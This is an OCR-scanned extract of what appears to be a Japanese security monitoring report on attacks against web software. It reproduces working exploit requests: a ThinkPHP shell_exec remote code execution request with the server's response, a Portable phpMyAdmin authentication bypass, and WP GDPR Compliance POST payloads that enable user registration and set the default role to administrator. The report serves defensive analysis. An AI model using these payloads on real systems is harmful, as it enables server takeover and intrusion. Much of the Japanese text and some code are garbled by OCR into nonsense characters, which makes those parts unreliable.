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4.1 ThinkPHP Framework [CS}3{ER1— RFRITOMESEE
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GET /tp/publicg’s= 1ndexfthink\appj
Host: 192.168.10

User-Agent: curl/7. 61 a
Accept: */*

&function=call_user_func_array&vars[8]=shell exec&vars[1][]=id HTTP/1.1

HTTP/1.1 208 0K

Date: Sat, 26 Jan 2019 86:57:33 GMT
Server: Apache/2.4.6 (Cent0S) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 85

Content-Type: text/html; charset=utf-8

uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s@

4 WBYHIAMDOH
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https://blog.thinkphp.cn/869075
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GET_/index.php?s=/index/\think\a

Host: .0.9.
User-Agent: Sefa
Accept: */*
Accept-Language: en-US,en;q=0.8
Connection: Keep-Alive

. &function=call user func array&vars[@]=shell_exec&vars[1]
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RIS RIS LI EBIE R, AR 4 BE - RAMSEEEINTHD, X Ex2Y >N TRAELE
EZ3 K 10 OL5 NAS OEIREE. Web Y—/NO¥EAEEER—> | BEER—LR-JEL0D
HTTP H—EZNEREIL TVSRA MBI RENE Uz, A—T>T0+3A° Tor EOBBEMNMEN 0Tz
M5, BHEELTEAINTLSY ) IMSOEN S MERICHDEEZEZIBNET .

S ne/ I - ol[wn o~
@ Glassish Server 31.2- S

GlassFish Server 3.1.2

Your server is now running
To replace this page, overwrite the file tndex. hem1 in the document root folder of this server. The document root folder for this server is the dacraor subdirectory of this server's domain directory.
To manage a server on the local host with the default administration port, go to the Administration Console.

Get Oracle GlassFish Server with Premier Support

jpport help total cost and risk. tions, improve the return from your IT investment. and optimize the business value of your
‘ecosystem support, and proactive, automated support

For production deployments, consider Oracle GlassFish Server with Oracle Premier Support for Software.
IT solutions. Benefis of Premier i and global reach

Install and update additional software components
Use the Update Tool to install and update additional technologies and frameworks such as:
+ 0SGI HTTP Service
- Generic Resource Adapter for JMS
+ 0SGi Administration Console
If you are using the web profie, you can also use Update Tool to obtain technologies that are included by defauitin the ful platform, such as:
+ Enterprise Java Beans
« Metro

« Jersey

Toimprove the user experience and optimize offerings to users, Oracle collects data about GlassFish Server usage thatis transmitted by the Update Tool installer as part of the automatic update processes, No personally identifiable information is collected by this process.

HTTPY—EZDHI (a)
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2 phpstucy it 2014

phpStudy %[ for ohostudy 2014 ‘ot T2 phoStudy it

wssware I

BEBED e

BEBIMRE  Windows PUEERA:NT Epawiazs I
IRFEEE Jap RS8N0 80

ESBENE I SERAT Ci/phpStudy/WW

A admin@phpStudy.net RHIE C:/phpStudy/WWWil.ohp.

calendar ctype date r hesh iconv jaon morypr SPL pore Reflection

dard mysqind tokenizer 2lib libxal dom PDO bz2 SimpleXl xml w
mlurizer openssi 94 mpetring mysgli Phar pdo_mysql pdo_sqlite sglited xal
PHPIBSESTE

PHPER (phpinfo):

HTTPY—EZDH (b)
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plHTTP/1.1
KHTML, like Gecko)

Chrome/56. B 2924.87 SaFar1f53? 36
Host: (N

Connection: Keep-Alive
Cache-Control: no-cache

11 BEEEL#OMESSE(CVE-2012-5469) 2 Ho B ZE@EED—H!

[ /wp-content/plugins/portable-phpmyadmin/wp-pma-mod & FOI7 LU, B
¥ HTTP GET UJIAMZITVE Y, COENRMINUILIGS . SR OB RCEIRBEIC 7 IEAN
AJRRERDFE T, EBIC, 1V AR=IL&N Sz phpMyAdmin B JA)L NRTE Tholcizald. FFHELANIL
TRIEENDENNHDET . B 12 (2. PIEANRINURICR RSN EIRBEEZRUE S,
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¥ Server version: 5.5.35-MariaDB

¥ Show MySQL runtime information

¥ Show MySQL system variables
¥ Processes [fj]

¥ Character Sets and Collations

V' Storage Engines

¥ Reload privileges

Y Privileges

¥ Databases

b Export

@ nepy/ MR v ordpress/wp-content/pluging/ portable-phpmysdmin/wp-pma-mod/index.php > G| BE.
dmin 5.0 - [ > |
P localhost phpMyAdmin - 5.0

Y MySQL dlient version: 5.5.35-MariaDB

Detabase b protocol version: 10 P Used PHP extensions: mysaql
P Server: Localhost via UNIX socket P Language:
database b user: root@localhost P Font size:
¥ MySQL charset: UTF-8 Unicode (utf8) P Show PHP information
e e m— R e
" Create new database [fj] v offidal Portable phpMyAdmin Homepage
[ | [Cotation V][ Create |

12 phpMyAdmin 1.2.9.5b OEMHEm

4.2.4 Rfass D xR
SREEEEE DAESS M (CVE-2012-5469) DR &% %1% WordPress iS4 4 > [ Portable
phpMyAdmin 1.3.1 k&1 2EHALTVBIBEE BRICN-210 7y 0EMZHREUET .

(RSSO E 2RI RV-23Y]
> Portable phpMyAdmin 1.3.1
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4.3 WP GDPR Compliance Oi%EZE 0] sER MEssTE

2018 € 11 A 7 H. WordPress ([(HWT EU — %7 —21R5ERAI(GDPR) DEEHVZ 371555
594>TH3BIWP GDPR Compliance(C. WordPress Q& EHNIMNEBNSZE o] fEL R BAEI5 14
(CVE-2018-19207)W"ABanELRS. 11 B 10 BI(CEEMARLR— N HAREN TS, AHESS
e BSCEBRAIZENTIEETY,

MessEDR 82232\ -3 2L FIORULET .

(RHess DR EZ T2/ -23)
> WP GDPR Compliance 1.4.3Ki&0/(—->3>

4.3.1 e85 IEDIREE

WP GDPR Compliance (C&FN3[ processAction |B8#R(C(E. GDPR (CRISIET -7 A E
ROT—FHIBRER(CINZ . WordPress DFREZZEE I LS ENTVE T, ABESSHEEERTE
ZEMEEZEAL. BEIEEmICOJ/>EI(CINEBNS WordPress DF&EDE AN BIBEERDET
AEITE FRCI-TEFRMTIRVETELRO TS WordPress (XU, EROEEE1-HE
PN OIRRERBRTENEE I DNEERUET

13 (C [ENTEI-YERNTERLIICIBIATS L OB TOIREEEZRLET .

POST /wp502gdprld2//wp-admin/admin-ajax.php HTTP/1.1

Content-Length: 182

Accept-Encoding: gzip

Host: 192.168.101.12

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) ApplelWebKit/537.36 (KHTML,
like Gecko) Chrome/36.0.1985.143 Safari/537.36

Connection: close

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action= &data=27§2§2type save_setting
%22append%22%3Afalse%2C%22option%22%3A%22users_can_register%22%2C%22value
22+%3A%221%22%7D&security=8b8cee5blda

13 ENTH1-YEJRHITERLIICEEIIME RS

6 WP GDPR Compliance | WordPress.org
https://ja.wordpress.org/plugins/wp-gdpr-compliance/#developers

7 WordPress WP GDPR Compliance Privilege Escalation Exploit
https://gryzli.info/2018/11/10/wordpress-wp-gdpr-compliance-privilege-escalation-exploit/
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&R 4 B 13 ORBEETHEESNTVSIRESSLV/NSA-S

BIE KSA-4

type save_settings

append | false

option users_can_register

value 1

security | 8b8cee5b0a

WP GDPR Compliance Tld. [processAction |B£RICHUWLTIupdate_action | BIENIFU
&1, WordPress (CBII 258 TEZENAIRELRDF TN, AMESSEDFEZZFDN\-23> TlE,
[typel/{5X—A([ save_settings 1218 EUIIZEIATON DR EZ EYIR(CHBVT, REZE
HEFRIENTWVD T NI MOESH DIERRFESENM TONEE A WordPress DS TEICHWVT.
[users_can_register IENTOITHNIEHEPNSEBRDI-FEIRKETEE R AL UNULEBHS. K
Mess = ERAL. & 13 OL3(Clusers_can_register |OfE%[11ETBVITIANEXIETBTET,
HEPNSAERDI-HEFRN AT BEEBDF T,

CDFR. [security I TIETEIS/TX—=45(& WP GDPR Compliance "E3MBE(ICIEAZNS
JavaScript(® 14)(cEFN3. [AjaxSecurity /\SX—5ZIEE T 2HENDDET . CD/NFA—4
H* AjaxSecurity NIX=FE—EURWEE . SEEZB(FTONEFE A

{script type= text/javascript >

/x <I[CDATA[ x/

= "4 T Thttp:¥/¥/192.168.101.12¥/wpb02gdpr142¥/wp-admin¥/admin-ajax.php”,
"ajaxSecurity” :"8b8ceebbla’l};
/x T x/
<{/script>

14 WP GDPR Compliance h"E#RIBEICIEASETNS JavaScript

15 FRI-HY 0T IAINOIERI I —T% [ EIRE |((ZE I IREEES(C. 1I-HEIRFD
TIAINDIERT - T EIRE |[CEEIIREREZRLET,
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POST /wp502gdprld2//wp-admin/admin-ajax.php HTTP/1.1

Content-Length: 188

Accept-Encoding: gzip

Host: 192.168.101.12

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/36.0.1985.143 Safari/537.36

Connection: close

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

data=%7B%22type%22%3A%22save_setting’22%2C
22append%22%3Afalse%2C%22option%22%3A%22default_role%22%2C%22value%22+%3A
22administrator%22%7D&security=8b8cee5b0a

15 FiM1-YDOFIAIN MDOIEIRI V- T & EEE |[CEEIIREBIE

[default_role ]/{SX=4(&. FIRMI-T DT IAIN NOIERYT IV -T2 RULTHD. TIAI MBI
[subscriber] T&H0. IBEFRE TEOJT(>ETOT—IVOEEDHA]ER BB E |2 RUET . I8
ERFCiEESNTLWSIadministrator (@071 > &0 EREEICEV\VTEIEE DR EZLEN T EE
RIEEE |2RUET . 2O RIRENRRINT 31— EIRGOHERY )L - THEIRELRDET,

&R 5 ORBBEETHEESNTVWSHRES LV /(GA-F

BIE KSA-4

type save_settings

append | false

option default_role

value administrator

security | 8b8cee5b0a

U o E#BHFEDEREE. IREEN WordPress OEIBEERZCENTIRERTZS.
WordPress OiEEZEPLARIDTOVDONE A I-HHIBRBENBZ(ATZAZLICHD, K 16
NEZEKINEOEIBEEOEER-JIRIEHD, KIREE(CL ST WordPress OiENZEES

NESENMODMFEY,
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—RBE JSOCTEST — WordPress X [

@ 192.168.101.12/wp502gdpr142/wp-admin/options-general.ph

W & ssoctest B0 + #

@ syzan-r RS
»
Y1 b1 ML JSOCTEST
N X547
N g +oyFIL—X Just another WordPress site
L =P o7 COY MBI,
& s
WordPress 7 Lo (URL) http://192.168.101.12/wp502gdpria2
& I554>
& 1Y Y1 h7 RLA (URL) http://192.168.101.12/wpS02gdpria2
& V- Mo hOI— NS¢ LT WordPress DA >R h—JLF1 LD NI AR BISFTERETBEAG. CCICT RLREANLTIES L
B oz
A—LP KLA
COF FLRIEBDIDIREENET, CDX—ILTFL T RLRSBCX )V EEEUET . MU FLRGRENHO & THMES N foe
E = V IenCEl U BN CEsaoT 5
R —H 05 74 )L NER
TRE v
- bn— =
Q x=a Yy1hoEE i v

¥ 16 SEXENINKOEBRBEHOEEN—>

128, WPHackedHelp®t® NinTechNet® REDANBIIBIMEL T, KIRB(CLOTHREZEL.
WordPress NEEZINAT#. 5T IANMECRIWEHNHBEINTVET, 2D,
WordPress OEIREEZHEREL. SRENEEINTUVINENC I TIRER E%HIRTT B E(I3HE
BOLEE Ao

4.3.2 KBS ORI
17 (2, JSOC THRANUEIEBED— e mLET

8 WordPress GDPR Compliance Plugin Exploit Vulnerability
https://secure.wphackedhelp.com/blog/wordpress-gdpr-plugin-exploit/

° Critical vulnerability in WP GDPR Compliance plugin massively exploited.
https://blog.nintechnet.com/critical-vulnerability-in-wp-gdpr-compliance-plugin-massively-exploited/
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POST /wp-admin/admin-ajax.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/36.0.1985.143 Safari/537.36
ontent-Length: 172
ontent-lype: application/x-www-form-urlencoded

Accept-Encoding: gzip

data=%7B%22type%22%3A%22save_setting%22%2C

22append%22%3Afalse%2(C%22option%22%3A%22users_can_register%22%2C%22value
22+%3A%221%22%7D&securit

17 1-ERHREOEEZ I REEED—HF

13 HELUEEBETIN, [security J/NSA—IMIBESNTULRL o, RIE(FKIT
EEZFY ., KIREZKINEE 320 WP GDPR Compliance NEAZNTHH. hDOBERICR
2TW% WordPress R—J(C 7T AU, [AjaxSecurity |/\SXA—5%E5 92BN HDET , TDf
8. [AjaxSecurity 1)\ A—-ADEUSHKE(CBINSTEY I I A NHXIE TS PoC ZFIFAUILINEE
MTONTVREHERILET .

4.3.3 eSS TED*I5R
SREREOJEERAESSE (CVE-2018-19207) Dx2E&%%(3% WordPress B34 WP
GDPR Compliance] ZERULTVWRIBEF. BRICN-23> 7y T OEMEHERVLET,

(RHess O E 2RI RVV-23Y]
> WP GDPR Compliance 1.4.3 t®/{->3>

AKEBHEOEEEZZIZIN-23>0TS3 T2 FERALTVRFRFEALTVEES.
WordPress OF —AR—ZPEMEBEENS. SEHULEZOBVABTNIEEN TSI TYPEN
UEBZADRBWIHD> b BLUOEBEURZIDBRVEENRVWMESE T L ZHERLET,
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5 #&hbic

JSOC INSIGHT (&, [INSIGHT IR 918D, ZDF 4 (C ISOC Ot+1UT17FUZX ML TR
[BEBIREBRUCE T DBIRIEMZITILZERLTVET,

INFTHEFIUTA7FUZAMIE 2 BERROBIHELLH'S. L@V RIERZ IRMHTEDLSE
HTEVDEUIZ, 20 ISOC INSIGHT TREZBLEDRIMTONITRITOA> T > MR, TRIE.
FIAPRICBVTRERBRLEBD DDAV T Y NMCERZE T, BBz BELTVET.

JISOC I\ IR - R ZIRH TERE DR A — VDR AERBTEN TENFTFENTT,
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